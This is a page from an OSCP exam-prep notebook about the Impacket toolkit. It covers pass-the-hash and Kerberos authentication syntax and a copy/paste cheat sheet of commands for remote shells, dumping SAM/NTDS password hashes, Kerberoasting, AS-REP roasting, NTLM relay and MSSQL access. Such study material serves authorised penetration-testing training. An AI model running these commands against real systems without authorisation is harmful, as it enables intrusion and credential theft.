Pearson's OSCP Notebook

Impacket

Properties1
tagsimpacket, smb, msrpc, kerberos, ldap, ntlm, lateral-movement, active-directory, pass-the-hash, credential-dump

4 min read

Impacket — Hub

What is Impacket?

Impacket (fortra/impacket) is a collection of Python classes and scripts for working with network protocols in Windows/Active Directory environments. On Kali, scripts are installed as impacket-<scriptname>.

Official overview: Core Security — Impacket Suite · GitHub: fortra/impacket

OSCP use: Once you have creds or an NT hash, Impacket is the primary toolkit for shells, hash dumps, Kerberos attacks, MSSQL access, and NTLM relay — all from Linux without touching Windows binaries on the target.

Installation & Location

Full install index → Installation - Kali Setup > 📌 Impacket — install / update

# Kali — pre-installed (check version)
impacket-psexec -h
impacket-secretsdump -h
 
# Script locations
ls /usr/share/doc/python3-impacket/examples/
ls /usr/share/impacket/examples/
 
# Install / update from GitHub
pip3 install impacket
git clone https://github.com/fortra/impacket
cd impacket && pip3 install .

📌 Authentication Syntax (All Scripts)

Most Impacket tools use the same target string:

# Password auth
impacket-SCRIPT domain/user:password@TARGET
impacket-SCRIPT ./localuser:password@TARGET      # local account
 
# Pass-the-Hash (LM not needed — use empty LM)
impacket-SCRIPT user@TARGET -hashes ':NT_HASH'
impacket-SCRIPT domain/user@TARGET -hashes 'LM:NT'
 
# Kerberos
export KRB5CCNAME=/tmp/user.ccache
impacket-SCRIPT domain/user@TARGET -k -no-pass -dc-ip DC_IP
 
# No password (null / AS-REP / specific scripts only)
impacket-SCRIPT domain/ -no-pass -dc-ip DC_IP

Before -k / getTGT: Kerberos Setup - krb5.conf + Time Sync-Clock Skew

Shared Flags

FlagDescription
-hashes LM:NTPass-the-Hash (:NT if no LM hash)
-dc-ip IPDomain Controller IP (Kerberos / AD scripts)
-target-ip IPConnect to this IP (when hostname resolves wrong)
-port PORTCustom port (MSSQL, etc.)
-kUse Kerberos ticket from KRB5CCNAME
-no-passNo password (Kerberos ticket or anonymous)
-aesKey KEYAES key for Kerberos
-debugVerbose debug output
-outputfile FILESave output to file

📌 Which Tool When — Quick Decision Guide

Have valid creds or NT hash?
│
├─ Need a shell on Windows host
│   ├─ Quiet / no disk write → wmiexec (see [[Remote Execution]])
│   ├─ SYSTEM shell (noisy)   → psexec
│   └─ No ADMIN$ access       → smbexec / atexec
│
├─ Need password hashes
│   ├─ Any Windows host (admin) → secretsdump (SAM + LSA)
│   └─ Domain Controller        → secretsdump -just-dc-ntlm
│
├─ Kerberos / AD (no or low priv)
│   ├─ Find roastable SPNs      → GetUserSPNs (see [[Kerberos Scripts]])
│   ├─ AS-REP roast (no creds)  → GetNPUsers
│   └─ Have TGT/ccache          → [[Use Kerberos Ticket]]
│
├─ Captured NTLM hash (Responder)
│   └─ Relay without cracking   → ntlmrelayx + Responder
│
├─ Port 1433 MSSQL open
│   └─ SQL shell + xp_cmdshell  → mssqlclient — domain cred → **-windows-auth** (see [[mssqlclient]])
│
└─ Enumeration only
    ├─ Users via SID             → lookupsid
    ├─ RPC endpoints             → rpcdump
    └─ SMB browse                → smbclient

📌 Sub-Notes (This Folder)

NoteScripts / Covers
Remote Executionpsexec, wmiexec, smbexec, atexec, dcomexec
secretsdumpsecretsdump — SAM, LSA, NTDS.dit hash dump
Kerberos ScriptsGetUserSPNs, GetNPUsers, getTGT, getST, ticketer — request scripts
Use Kerberos TicketUse .ccache — -k -no-pass wmiexec / psexec / secretsdump
Use Kerberoast HashAfter GetUserSPNs — crack → reuse creds
Use AS-REP HashAfter GetNPUsers — crack → reuse creds
Use raiseChild EAAfter raiseChild — parent domain EA abuse
ntlmrelayxntlmrelayx — NTLM relay with Responder
mssqlclientmssqlclient — MSSQL shell, xp_cmdshell
dpapidpapi — decrypt Credential Manager blobs offline
Impacket Enumerationlookupsid, rpcdump, samrdump, smbclient, reg, smbserver
rpcdumpRPC endpoint enumeration (focused reference)
lookupsid & samrdumpSID brute-force + SAMR user dump

📌 Other Useful Scripts (Quick Reference)

ScriptPurpose
impacket-ticketerForge Kerberos tickets (Golden/Silver)
impacket-getTGTRequest TGT for a user (password or hash)
impacket-getSTRequest service ticket (TGS)
impacket-goldenPacMS14-068 Golden PAC exploit (legacy)
impacket-smbserverHost SMB share (receive files, Responder companion)
impacket-rbcdResource-Based Constrained Delegation abuse
impacket-addcomputerAdd computer account to AD (no creds in some cases)
impacket-dpapiDPAPI secrets extraction
impacket-changepasswdChange/reset passwords (kpasswd, rpc-samr, ldap)
impacket-netviewList hosts user has logged into

📌 Quick OSCP Cheat Sheet (Copy/Paste)

# ─── SHELL ────────────────────────────────────────────────────
impacket-wmiexec domain/user:pass@TARGET
impacket-wmiexec admin@TARGET -hashes ':NTHASH'
impacket-psexec domain/user:pass@TARGET
 
# ─── DUMP HASHES ──────────────────────────────────────────────
impacket-secretsdump domain/user:pass@TARGET
impacket-secretsdump domain/admin:pass@DC_IP -just-dc-ntlm
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
 
# ─── KERBEROS ─────────────────────────────────────────────────
impacket-GetUserSPNs corp.local/user:pass -dc-ip DC_IP -request -outputfile kerb.txt
impacket-GetNPUsers corp.local/ -dc-ip DC_IP -no-pass -usersfile users.txt -outputfile asrep.txt
 
# ─── NTLM RELAY ───────────────────────────────────────────────
impacket-ntlmrelayx -tf targets.txt -smb2support -i
# + Responder in second terminal (SMB=Off in Responder.conf)
 
# ─── KERBEROS MSSQL (silver ticket) ───────────────────────────
export KRB5CCNAME=Administrator.ccache
impacket-mssqlclient -k -no-pass domain.htb/Administrator@dc01.domain.htb -dc-ip DC_IP
 
# ─── MSSQL ────────────────────────────────────────────────────
impacket-mssqlclient sa:pass@TARGET                              # SQL auth (sa)
impacket-mssqlclient oscp.exam/sql_svc:Dolphin1@TARGET -windows-auth
impacket-mssqlclient DOMAIN/user:pass@TARGET -windows-auth
impacket-mssqlclient user@TARGET -hashes ':NTHASH' -windows-auth

13 items under this folder.